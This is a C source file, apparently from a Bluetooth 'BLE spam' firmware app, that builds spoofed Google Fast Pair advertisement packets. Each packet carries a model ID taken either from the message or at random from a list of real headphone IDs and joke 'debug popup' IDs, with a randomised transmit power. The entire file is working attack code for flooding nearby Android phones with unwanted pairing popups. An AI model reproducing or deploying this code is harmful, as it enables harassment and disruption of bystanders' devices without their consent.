fastpair.c 2.1 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768
  1. #include "fastpair.h"
  2. #include "_registry.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
  5. const char* fastpair_get_name(const BleSpamMsg* _msg) {
  6. const FastpairMsg* msg = &_msg->fastpair;
  7. UNUSED(msg);
  8. return "FastPair";
  9. }
  10. void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
  11. const FastpairMsg* msg = _msg ? &_msg->fastpair : NULL;
  12. uint32_t model_id;
  13. if(msg && msg->model_id != 0x000000) {
  14. model_id = msg->model_id;
  15. } else {
  16. const uint32_t models[] = {
  17. // Genuine devices
  18. 0xCD8256, // Bose NC 700
  19. 0xF52494, // JBL Buds Pro
  20. 0x718FA4, // JBL Live 300TWS
  21. 0x821F66, // JBL Flip 6
  22. 0x92BBBD, // Pixel Buds
  23. // Custom debug popups
  24. 0xAA1FE1, // ClownMaster
  25. 0xAA187F, // VBucks
  26. 0xF38C02, // Boykisser
  27. 0x1448C9, // BLM
  28. 0xD5AB33, // Xtreme
  29. 0x13B39D, // Talking Sasquach
  30. };
  31. model_id = models[rand() % COUNT_OF(models)];
  32. }
  33. uint8_t size = 14;
  34. uint8_t* packet = malloc(size);
  35. uint8_t i = 0;
  36. packet[i++] = 3; // Size
  37. packet[i++] = 0x03; // AD Type (Service UUID List)
  38. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  39. packet[i++] = 0xFE; // ...
  40. packet[i++] = 6; // Size
  41. packet[i++] = 0x16; // AD Type (Service Data)
  42. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  43. packet[i++] = 0xFE; // ...
  44. packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
  45. packet[i++] = (model_id >> 0x08) & 0xFF; // ...
  46. packet[i++] = (model_id >> 0x00) & 0xFF; // ...
  47. packet[i++] = 2; // Size
  48. packet[i++] = 0x0A; // AD Type (Tx Power Level)
  49. packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
  50. *out_size = size;
  51. *out_packet = packet;
  52. }
  53. const BleSpamProtocol ble_spam_protocol_fastpair = {
  54. .icon = &I_android,
  55. .get_name = fastpair_get_name,
  56. .make_packet = fastpair_make_packet,
  57. };